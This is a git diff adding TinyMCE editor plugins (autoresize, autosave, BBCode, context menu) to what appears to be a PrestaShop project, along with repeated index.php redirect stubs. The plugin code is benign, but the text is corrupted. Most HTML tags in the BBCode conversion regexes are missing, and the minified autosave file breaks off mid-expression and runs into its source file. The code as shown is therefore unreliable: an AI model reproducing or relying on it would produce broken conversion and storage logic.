Add appropriate listeners for resizing content area + ed.onChange.add(resize); + ed.onSetContent.add(resize); + ed.onPaste.add(resize); + ed.onKeyUp.add(resize); + ed.onPostRender.add(resize); + + if (ed.getParam('autoresize_on_init', true)) { + ed.onLoad.add(resize); + ed.onLoadContent.add(resize); + } + + // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample'); + ed.addCommand('mceAutoResize', resize); + }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Auto Resize', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('autoresize', tinymce.plugins.AutoResizePlugin); +})(); diff --git a/js/tiny_mce2/plugins/autoresize/index.php b/js/tiny_mce2/plugins/autoresize/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/autoresize/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/autosave/editor_plugin.js b/js/tiny_mce2/plugins/autosave/editor_plugin.js new file mode 100755 index 0000000..f7d0576 --- /dev/null +++ b/js/tiny_mce2/plugins/autosave/editor_plugin.js @@ -0,0 +1 @@ +(function(e){var c="autosave",g="restoredraft",b=true,f,d,a=e.util.Dispatcher;e.create("tinymce.plugins.AutoSave",{init:function(i,j){var h=this,l=i.settings;h.editor=i;function k(n){var m={s:1000,m:60000};n=/^(\d+)([ms]?)$/.exec(""+n);return(n[2]?m[n[2]]:1)*parseInt(n)}e.each({ask_before_unload:b,interval:"30s",retention:"20m",minlength:50},function(n,m){m=c+"_"+m;if(l[m]===f){l[m]=n}});l.autosave_interval=k(l.autosave_interval);l.autosave_retention=k(l.autosave_retention);i.addButton(g,{title:c+".restore_content",onclick:function(){if(i.getContent({draft:true}).replace(/\s| |<\/?p[^>]*>|]*>/gi,"").length>0){i.windowManager.confirm(c+".warning_message",function(m){if(m){h.restoreDraft()}})}else{h.restoreDraft()}}});i.onNodeChange.add(function(){var m=i.controlManager;if(m.get(g)){m.setDisabled(g,!h.hasDraft())}});i.onInit.add(function(){if(i.controlManager.get(g)){h.setupStorage(i);setInterval(function(){h.storeDraft();i.nodeChanged()},l.autosave_interval)}});h.onStoreDraft=new a(h);h.onRestoreDraft=new a(h);h.onRemoveDraft=new a(h);if(!d){window.onbeforeunload=e.plugins.AutoSave._beforeUnloadHandler;d=b}},getInfo:function(){return{longname:"Auto save",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave",version:e.majorVersion+"."+e.minorVersion}},getExpDate:function(){return new Date(new Date().getTime()+this.editor.settings.autosave_retention).toUTCString()},setupStorage:function(i){var h=this,k=c+"_test",j="OK";h.key=c+i.id;e.each([function(){if(localStorage){localStorage.setItem(k,j);if(localStorage.getItem(k)===j){localStorage.removeItem(k);return localStorage}}},function(){if(sessionStorage){sessionStorage.setItem(k,j);if(sessionStorage.getItem(k)===j){sessionStorage.removeItem(k);return sessionStorage}}},function(){if(e.isIE){i.getElement().style.behavior="url('#default#userData')";return{autoExpires:b,setItem:function(l,n){var m=i.getElement();m.setAttribute(l,n);m.expires=h.getExpDate();try{m.save("TinyMCE")}catch(o){}},getItem:function(l){var m=i.getElement();try{m.load("TinyMCE");return m.getAttribute(l)}catch(n){return null}},removeItem:function(l){i.getElement().removeAttribute(l)}}}},],function(l){try{h.storage=l();if(h.storage){return false}}catch(m){}})},storeDraft:function(){var i=this,l=i.storage,j=i.editor,h,k;if(l){if(!l.getItem(i.key)&&!j.isDirty()){return}k=j.getContent({draft:true});if(k.length>j.settings.autosave_minlength){h=i.getExpDate();if(!i.storage.autoExpires){i.storage.setItem(i.key+"_expires",h)}i.storage.setItem(i.key,k);i.onStoreDraft.dispatch(i,{expires:h,content:k})}}},restoreDraft:function(){var h=this,j=h.storage,i;if(j){i=j.getItem(h.key);if(i){h.editor.setContent(i);h.onRestoreDraft.dispatch(h,{content:i})}}},hasDraft:function(){var h=this,k=h.storage,i,j;if(k){j=!!k.getItem(h.key);if(j){if(!h.storage.autoExpires){i=new Date(k.getItem(h.key+"_expires"));if(new Date().getTime()]*>|]*>/gi, "").length > 0) { + // Show confirm dialog if the editor isn't empty + ed.windowManager.confirm( + PLUGIN_NAME + ".warning_message", + function(ok) { + if (ok) + self.restoreDraft(); + } + ); + } else + self.restoreDraft(); + } + }); + + // Enable/disable restoredraft button depending on if there is a draft stored or not + ed.onNodeChange.add(function() { + var controlManager = ed.controlManager; + + if (controlManager.get(RESTORE_DRAFT)) + controlManager.setDisabled(RESTORE_DRAFT, !self.hasDraft()); + }); + + ed.onInit.add(function() { + // Check if the user added the restore button, then setup auto storage logic + if (ed.controlManager.get(RESTORE_DRAFT)) { + // Setup storage engine + self.setupStorage(ed); + + // Auto save contents each interval time + setInterval(function() { + self.storeDraft(); + ed.nodeChanged(); + }, settings.autosave_interval); + } + }); + + /** + * This event gets fired when a draft is stored to local storage. + * + * @event onStoreDraft + * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. + * @param {Object} draft Draft object containing the HTML contents of the editor. + */ + self.onStoreDraft = new Dispatcher(self); + + /** + * This event gets fired when a draft is restored from local storage. + * + * @event onStoreDraft + * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. + * @param {Object} draft Draft object containing the HTML contents of the editor. + */ + self.onRestoreDraft = new Dispatcher(self); + + /** + * This event gets fired when a draft removed/expired. + * + * @event onRemoveDraft + * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. + * @param {Object} draft Draft object containing the HTML contents of the editor. + */ + self.onRemoveDraft = new Dispatcher(self); + + // Add ask before unload dialog only add one unload handler + if (!unloadHandlerAdded) { + window.onbeforeunload = tinymce.plugins.AutoSave._beforeUnloadHandler; + unloadHandlerAdded = TRUE; + } + }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @method getInfo + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Auto save', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + /** + * Returns an expiration date UTC string. + * + * @method getExpDate + * @return {String} Expiration date UTC string. + */ + getExpDate : function() { + return new Date( + new Date().getTime() + this.editor.settings.autosave_retention + ).toUTCString(); + }, + + /** + * This method will setup the storage engine. If the browser has support for it. + * + * @method setupStorage + */ + setupStorage : function(ed) { + var self = this, testKey = PLUGIN_NAME + '_test', testVal = "OK"; + + self.key = PLUGIN_NAME + ed.id; + + // Loop though each storage engine type until we find one that works + tinymce.each([ + function() { + // Try HTML5 Local Storage + if (localStorage) { + localStorage.setItem(testKey, testVal); + + if (localStorage.getItem(testKey) === testVal) { + localStorage.removeItem(testKey); + + return localStorage; + } + } + }, + + function() { + // Try HTML5 Session Storage + if (sessionStorage) { + sessionStorage.setItem(testKey, testVal); + + if (sessionStorage.getItem(testKey) === testVal) { + sessionStorage.removeItem(testKey); + + return sessionStorage; + } + } + }, + + function() { + // Try IE userData + if (tinymce.isIE) { + ed.getElement().style.behavior = "url('#default#userData')"; + + // Fake localStorage on old IE + return { + autoExpires : TRUE, + + setItem : function(key, value) { + var userDataElement = ed.getElement(); + + userDataElement.setAttribute(key, value); + userDataElement.expires = self.getExpDate(); + + try { + userDataElement.save("TinyMCE"); + } catch (e) { + // Ignore, saving might fail if "Userdata Persistence" is disabled in IE + } + }, + + getItem : function(key) { + var userDataElement = ed.getElement(); + + try { + userDataElement.load("TinyMCE"); + return userDataElement.getAttribute(key); + } catch (e) { + // Ignore, loading might fail if "Userdata Persistence" is disabled in IE + return null; + } + }, + + removeItem : function(key) { + ed.getElement().removeAttribute(key); + } + }; + } + }, + ], function(setup) { + // Try executing each function to find a suitable storage engine + try { + self.storage = setup(); + + if (self.storage) + return false; + } catch (e) { + // Ignore + } + }); + }, + + /** + * This method will store the current contents in the the storage engine. + * + * @method storeDraft + */ + storeDraft : function() { + var self = this, storage = self.storage, editor = self.editor, expires, content; + + // Is the contents dirty + if (storage) { + // If there is no existing key and the contents hasn't been changed since + // it's original value then there is no point in saving a draft + if (!storage.getItem(self.key) && !editor.isDirty()) + return; + + // Store contents if the contents if longer than the minlength of characters + content = editor.getContent({draft: true}); + if (content.length > editor.settings.autosave_minlength) { + expires = self.getExpDate(); + + // Store expiration date if needed IE userData has auto expire built in + if (!self.storage.autoExpires) + self.storage.setItem(self.key + "_expires", expires); + + self.storage.setItem(self.key, content); + self.onStoreDraft.dispatch(self, { + expires : expires, + content : content + }); + } + } + }, + + /** + * This method will restore the contents from the storage engine back to the editor. + * + * @method restoreDraft + */ + restoreDraft : function() { + var self = this, storage = self.storage, content; + + if (storage) { + content = storage.getItem(self.key); + + if (content) { + self.editor.setContent(content); + self.onRestoreDraft.dispatch(self, { + content : content + }); + } + } + }, + + /** + * This method will return true/false if there is a local storage draft available. + * + * @method hasDraft + * @return {boolean} true/false state if there is a local draft. + */ + hasDraft : function() { + var self = this, storage = self.storage, expDate, exists; + + if (storage) { + // Does the item exist at all + exists = !!storage.getItem(self.key); + if (exists) { + // Storage needs autoexpire + if (!self.storage.autoExpires) { + expDate = new Date(storage.getItem(self.key + "_expires")); + + // Contents hasn't expired + if (new Date().getTime() < expDate.getTime()) + return TRUE; + + // Remove it if it has + self.removeDraft(); + } else + return TRUE; + } + } + + return false; + }, + + /** + * Removes the currently stored draft. + * + * @method removeDraft + */ + removeDraft : function() { + var self = this, storage = self.storage, key = self.key, content; + + if (storage) { + // Get current contents and remove the existing draft + content = storage.getItem(key); + storage.removeItem(key); + storage.removeItem(key + "_expires"); + + // Dispatch remove event if we had any contents + if (content) { + self.onRemoveDraft.dispatch(self, { + content : content + }); + } + } + }, + + "static" : { + // Internal unload handler will be called before the page is unloaded + _beforeUnloadHandler : function(e) { + var msg; + + tinymce.each(tinyMCE.editors, function(ed) { + // Store a draft for each editor instance + if (ed.plugins.autosave) + ed.plugins.autosave.storeDraft(); + + // Never ask in fullscreen mode + if (ed.getParam("fullscreen_is_enabled")) + return; + + // Setup a return message if the editor is dirty + if (!msg && ed.isDirty() && ed.getParam("autosave_ask_before_unload")) + msg = ed.getLang("autosave.unload_msg"); + }); + + return msg; + } + } + }); + + tinymce.PluginManager.add('autosave', tinymce.plugins.AutoSave); +})(tinymce); diff --git a/js/tiny_mce2/plugins/autosave/index.php b/js/tiny_mce2/plugins/autosave/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/autosave/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/autosave/langs/en.js b/js/tiny_mce2/plugins/autosave/langs/en.js new file mode 100755 index 0000000..219f769 --- /dev/null +++ b/js/tiny_mce2/plugins/autosave/langs/en.js @@ -0,0 +1,4 @@ +tinyMCE.addI18n('en.autosave',{ +restore_content: "Restore auto-saved content", +warning_message: "If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?" +}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/autosave/langs/index.php b/js/tiny_mce2/plugins/autosave/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/autosave/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/bbcode/editor_plugin.js b/js/tiny_mce2/plugins/bbcode/editor_plugin.js new file mode 100755 index 0000000..8f8821f --- /dev/null +++ b/js/tiny_mce2/plugins/bbcode/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.BBCodePlugin",{init:function(a,b){var d=this,c=a.getParam("bbcode_dialect","punbb").toLowerCase();a.onBeforeSetContent.add(function(e,f){f.content=d["_"+c+"_bbcode2html"](f.content)});a.onPostProcess.add(function(e,f){if(f.set){f.content=d["_"+c+"_bbcode2html"](f.content)}if(f.get){f.content=d["_"+c+"_html2bbcode"](f.content)}})},getInfo:function(){return{longname:"BBCode Plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_punbb_html2bbcode:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/(.*?)<\/a>/gi,"[url=$1]$2[/url]");b(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/(.*?)<\/span>/gi,"[color=$1]$2[/color]");b(/(.*?)<\/font>/gi,"[color=$1]$2[/color]");b(/(.*?)<\/span>/gi,"[size=$1]$2[/size]");b(/(.*?)<\/font>/gi,"$1");b(//gi,"[img]$1[/img]");b(/(.*?)<\/span>/gi,"[code]$1[/code]");b(/(.*?)<\/span>/gi,"[quote]$1[/quote]");b(/(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]");b(/(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]");b(/(.*?)<\/em>/gi,"[code][i]$1[/i][/code]");b(/(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]");b(/(.*?)<\/u>/gi,"[code][u]$1[/u][/code]");b(/(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]");b(/<\/(strong|b)>/gi,"[/b]");b(/<(strong|b)>/gi,"[b]");b(/<\/(em|i)>/gi,"[/i]");b(/<(em|i)>/gi,"[i]");b(/<\/u>/gi,"[/u]");b(/(.*?)<\/span>/gi,"[u]$1[/u]");b(//gi,"[u]");b(/]*>/gi,"[quote]");b(/<\/blockquote>/gi,"[/quote]");b(/
    /gi,"\n");b(//gi,"\n");b(/
    /gi,"\n");b(/

    /gi,"");b(/<\/p>/gi,"\n");b(/ |\u00a0/gi," ");b(/"/gi,'"');b(/</gi,"<");b(/>/gi,">");b(/&/gi,"&");return a},_punbb_bbcode2html:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/\n/gi,"
    ");b(/\[b\]/gi,"");b(/\[\/b\]/gi,"");b(/\[i\]/gi,"");b(/\[\/i\]/gi,"");b(/\[u\]/gi,"");b(/\[\/u\]/gi,"");b(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,'$2');b(/\[url\](.*?)\[\/url\]/gi,'$1');b(/\[img\](.*?)\[\/img\]/gi,'');b(/\[color=(.*?)\](.*?)\[\/color\]/gi,'$2');b(/\[code\](.*?)\[\/code\]/gi,'$1 ');b(/\[quote.*?\](.*?)\[\/quote\]/gi,'$1 ');return a}});tinymce.PluginManager.add("bbcode",tinymce.plugins.BBCodePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/bbcode/editor_plugin_src.js b/js/tiny_mce2/plugins/bbcode/editor_plugin_src.js new file mode 100755 index 0000000..12cdaca --- /dev/null +++ b/js/tiny_mce2/plugins/bbcode/editor_plugin_src.js @@ -0,0 +1,120 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.BBCodePlugin', { + init : function(ed, url) { + var t = this, dialect = ed.getParam('bbcode_dialect', 'punbb').toLowerCase(); + + ed.onBeforeSetContent.add(function(ed, o) { + o.content = t['_' + dialect + '_bbcode2html'](o.content); + }); + + ed.onPostProcess.add(function(ed, o) { + if (o.set) + o.content = t['_' + dialect + '_bbcode2html'](o.content); + + if (o.get) + o.content = t['_' + dialect + '_html2bbcode'](o.content); + }); + }, + + getInfo : function() { + return { + longname : 'BBCode Plugin', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + // HTML -> BBCode in PunBB dialect + _punbb_html2bbcode : function(s) { + s = tinymce.trim(s); + + function rep(re, str) { + s = s.replace(re, str); + }; + + // example: to [b] + rep(/(.*?)<\/a>/gi,"[url=$1]$2[/url]"); + rep(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); + rep(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); + rep(/(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"); + rep(/(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"); + rep(/(.*?)<\/span>/gi,"[color=$1]$2[/color]"); + rep(/(.*?)<\/font>/gi,"[color=$1]$2[/color]"); + rep(/(.*?)<\/span>/gi,"[size=$1]$2[/size]"); + rep(/(.*?)<\/font>/gi,"$1"); + rep(//gi,"[img]$1[/img]"); + rep(/(.*?)<\/span>/gi,"[code]$1[/code]"); + rep(/(.*?)<\/span>/gi,"[quote]$1[/quote]"); + rep(/(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]"); + rep(/(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]"); + rep(/(.*?)<\/em>/gi,"[code][i]$1[/i][/code]"); + rep(/(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]"); + rep(/(.*?)<\/u>/gi,"[code][u]$1[/u][/code]"); + rep(/(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]"); + rep(/<\/(strong|b)>/gi,"[/b]"); + rep(/<(strong|b)>/gi,"[b]"); + rep(/<\/(em|i)>/gi,"[/i]"); + rep(/<(em|i)>/gi,"[i]"); + rep(/<\/u>/gi,"[/u]"); + rep(/(.*?)<\/span>/gi,"[u]$1[/u]"); + rep(//gi,"[u]"); + rep(/]*>/gi,"[quote]"); + rep(/<\/blockquote>/gi,"[/quote]"); + rep(/
    /gi,"\n"); + rep(//gi,"\n"); + rep(/
    /gi,"\n"); + rep(/

    /gi,""); + rep(/<\/p>/gi,"\n"); + rep(/ |\u00a0/gi," "); + rep(/"/gi,"\""); + rep(/</gi,"<"); + rep(/>/gi,">"); + rep(/&/gi,"&"); + + return s; + }, + + // BBCode -> HTML from PunBB dialect + _punbb_bbcode2html : function(s) { + s = tinymce.trim(s); + + function rep(re, str) { + s = s.replace(re, str); + }; + + // example: [b] to + rep(/\n/gi,"
    "); + rep(/\[b\]/gi,""); + rep(/\[\/b\]/gi,""); + rep(/\[i\]/gi,""); + rep(/\[\/i\]/gi,""); + rep(/\[u\]/gi,""); + rep(/\[\/u\]/gi,""); + rep(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,"$2"); + rep(/\[url\](.*?)\[\/url\]/gi,"$1"); + rep(/\[img\](.*?)\[\/img\]/gi,""); + rep(/\[color=(.*?)\](.*?)\[\/color\]/gi,"$2"); + rep(/\[code\](.*?)\[\/code\]/gi,"$1 "); + rep(/\[quote.*?\](.*?)\[\/quote\]/gi,"$1 "); + + return s; + } + }); + + // Register plugin + tinymce.PluginManager.add('bbcode', tinymce.plugins.BBCodePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/bbcode/index.php b/js/tiny_mce2/plugins/bbcode/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/bbcode/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/contextmenu/editor_plugin.js b/js/tiny_mce2/plugins/contextmenu/editor_plugin.js new file mode 100755 index 0000000..4f99010 --- /dev/null +++ b/js/tiny_mce2/plugins/contextmenu/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.dom.Event,c=tinymce.each,b=tinymce.DOM;tinymce.create("tinymce.plugins.ContextMenu",{init:function(e){var h=this,f,d,i;h.editor=e;d=e.settings.contextmenu_never_use_native;h.onContextMenu=new tinymce.util.Dispatcher(this);f=e.onContextMenu.add(function(j,k){if((i!==0?i:k.ctrlKey)&&!d){return}a.cancel(k);if(k.target.nodeName=="IMG"){j.selection.select(k.target)}h._getMenu(j).showMenu(k.clientX||k.pageX,k.clientY||k.pageY);a.add(j.getDoc(),"click",function(l){g(j,l)});j.nodeChanged()});e.onRemove.add(function(){if(h._menu){h._menu.removeAll()}});function g(j,k){i=0;if(k&&k.button==2){i=k.ctrlKey;return}if(h._menu){h._menu.removeAll();h._menu.destroy();a.remove(j.getDoc(),"click",g);h._menu=null}}e.onMouseDown.add(g);e.onKeyDown.add(g);e.onKeyDown.add(function(j,k){if(k.shiftKey&&!k.ctrlKey&&!k.altKey&&k.keyCode===121){a.cancel(k);f(j,k)}})},getInfo:function(){return{longname:"Contextmenu",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getMenu:function(e){var g=this,d=g._menu,j=e.selection,f=j.isCollapsed(),h=j.getNode()||e.getBody(),i,k;if(d){d.removeAll();d.destroy()}k=b.getPos(e.getContentAreaContainer());d=e.controlManager.createDropMenu("contextmenu",{offset_x:k.x+e.getParam("contextmenu_offset_x",0),offset_y:k.y+e.getParam("contextmenu_offset_y",0),constrain:1,keyboard_focus:true});g._menu=d;d.add({title:"advanced.cut_desc",icon:"cut",cmd:"Cut"}).setDisabled(f);d.add({title:"advanced.copy_desc",icon:"copy",cmd:"Copy"}).setDisabled(f);d.add({title:"advanced.paste_desc",icon:"paste",cmd:"Paste"});if((h.nodeName=="A"&&!e.dom.getAttrib(h,"name"))||!f){d.addSeparator();d.add({title:"advanced.link_desc",icon:"link",cmd:e.plugins.advlink?"mceAdvLink":"mceLink",ui:true});d.add({title:"advanced.unlink_desc",icon:"unlink",cmd:"UnLink"})}d.addSeparator();d.add({title:"advanced.image_desc",icon:"image",cmd:e.plugins.advimage?"mceAdvImage":"mceImage",ui:true});d.addSeparator();i=d.addMenu({title:"contextmenu.align"});i.add({title:"contextmenu.left",icon:"justifyleft",cmd:"JustifyLeft"});i.add({title:"contextmenu.center",icon:"justifycenter",cmd:"JustifyCenter"});i.add({title:"contextmenu.right",icon:"justifyright",cmd:"JustifyRight"});i.add({title:"contextmenu.full",icon:"justifyfull",cmd:"JustifyFull"});g.onContextMenu.dispatch(g,d,h,f);return d}});tinymce.PluginManager.add("contextmenu",tinymce.plugins.ContextMenu)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/contextmenu/editor_plugin_src.js b/js/tiny_mce2/plugins/contextmenu/editor_plugin_src.js new file mode 100755 index 0000000..4937d32 --- /dev/null +++ b/js/tiny_mce2/plugins/contextmenu/editor_plugin_src.js @@ -0,0 +1,161 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var Event = tinymce.dom.Event, each = tinymce.each, DOM = tinymce.DOM; + + /** + * This plugin a context menu to TinyMCE editor instances. + * + * @class tinymce.plugins.ContextMenu + */ + tinymce.create('tinymce.plugins.ContextMenu', { + /** + * Initializes the plugin, this will be executed after the plugin has been created. + * This call is done before the editor instance has finished it's initialization so use the onInit event + * of the editor instance to intercept that event. + * + * @method init + * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. + * @param {string} url Absolute URL to where the plugin is located. + */ + init : function(ed) { + var t = this, showMenu, contextmenuNeverUseNative, realCtrlKey; + + t.editor = ed; + + contextmenuNeverUseNative = ed.settings.contextmenu_never_use_native; + + /** + * This event gets fired when the context menu is shown. + * + * @event onContextMenu + * @param {tinymce.plugins.ContextMenu} sender Plugin instance sending the event. + * @param {tinymce.ui.DropMenu} menu Drop down menu to fill with more items if needed. + */ + t.onContextMenu = new tinymce.util.Dispatcher(this); + + showMenu = ed.onContextMenu.add(function(ed, e) { + // Block TinyMCE menu on ctrlKey and work around Safari issue + if ((realCtrlKey !== 0 ? realCtrlKey : e.ctrlKey) && !contextmenuNeverUseNative) + return; + + Event.cancel(e); + + // Select the image if it's clicked. WebKit would other wise expand the selection + if (e.target.nodeName == 'IMG') + ed.selection.select(e.target); + + t._getMenu(ed).showMenu(e.clientX || e.pageX, e.clientY || e.pageY); + Event.add(ed.getDoc(), 'click', function(e) { + hide(ed, e); + }); + + ed.nodeChanged(); + }); + + ed.onRemove.add(function() { + if (t._menu) + t._menu.removeAll(); + }); + + function hide(ed, e) { + realCtrlKey = 0; + + // Since the contextmenu event moves + // the selection we need to store it away + if (e && e.button == 2) { + realCtrlKey = e.ctrlKey; + return; + } + + if (t._menu) { + t._menu.removeAll(); + t._menu.destroy(); + Event.remove(ed.getDoc(), 'click', hide); + t._menu = null; + } + }; + + ed.onMouseDown.add(hide); + ed.onKeyDown.add(hide); + ed.onKeyDown.add(function(ed, e) { + if (e.shiftKey && !e.ctrlKey && !e.altKey && e.keyCode === 121) { + Event.cancel(e); + showMenu(ed, e); + } + }); + }, + + /** + * Returns information about the plugin as a name/value array. + * The current keys are longname, author, authorurl, infourl and version. + * + * @method getInfo + * @return {Object} Name/value array containing information about the plugin. + */ + getInfo : function() { + return { + longname : 'Contextmenu', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/contextmenu', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + _getMenu : function(ed) { + var t = this, m = t._menu, se = ed.selection, col = se.isCollapsed(), el = se.getNode() || ed.getBody(), am, p; + + if (m) { + m.removeAll(); + m.destroy(); + } + + p = DOM.getPos(ed.getContentAreaContainer()); + + m = ed.controlManager.createDropMenu('contextmenu', { + offset_x : p.x + ed.getParam('contextmenu_offset_x', 0), + offset_y : p.y + ed.getParam('contextmenu_offset_y', 0), + constrain : 1, + keyboard_focus: true + }); + + t._menu = m; + + m.add({title : 'advanced.cut_desc', icon : 'cut', cmd : 'Cut'}).setDisabled(col); + m.add({title : 'advanced.copy_desc', icon : 'copy', cmd : 'Copy'}).setDisabled(col); + m.add({title : 'advanced.paste_desc', icon : 'paste', cmd : 'Paste'}); + + if ((el.nodeName == 'A' && !ed.dom.getAttrib(el, 'name')) || !col) { + m.addSeparator(); + m.add({title : 'advanced.link_desc', icon : 'link', cmd : ed.plugins.advlink ? 'mceAdvLink' : 'mceLink', ui : true}); + m.add({title : 'advanced.unlink_desc', icon : 'unlink', cmd : 'UnLink'}); + } + + m.addSeparator(); + m.add({title : 'advanced.image_desc', icon : 'image', cmd : ed.plugins.advimage ? 'mceAdvImage' : 'mceImage', ui : true}); + + m.addSeparator(); + am = m.addMenu({title : 'contextmenu.align'}); + am.add({title : 'contextmenu.left', icon : 'justifyleft', cmd : 'JustifyLeft'}); + am.add({title : 'contextmenu.center', icon : 'justifycenter', cmd : 'JustifyCenter'}); + am.add({title : 'contextmenu.right', icon : 'justifyright', cmd : 'JustifyRight'}); + am.add({title : 'contextmenu.full', icon : 'justifyfull', cmd : 'JustifyFull'}); + + t.onContextMenu.dispatch(t, m, el, col); + + return m; + } + }); + + // Register plugin + tinymce.PluginManager.add('contextmenu', tinymce.plugins.ContextMenu); +})(); diff --git a/js/tiny_mce2/plugins/contextmenu/index.php b/js/tiny_mce2/plugins/contextmenu/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/contextmenu/index.php @@ -0,0 +1,35 @@ + +* 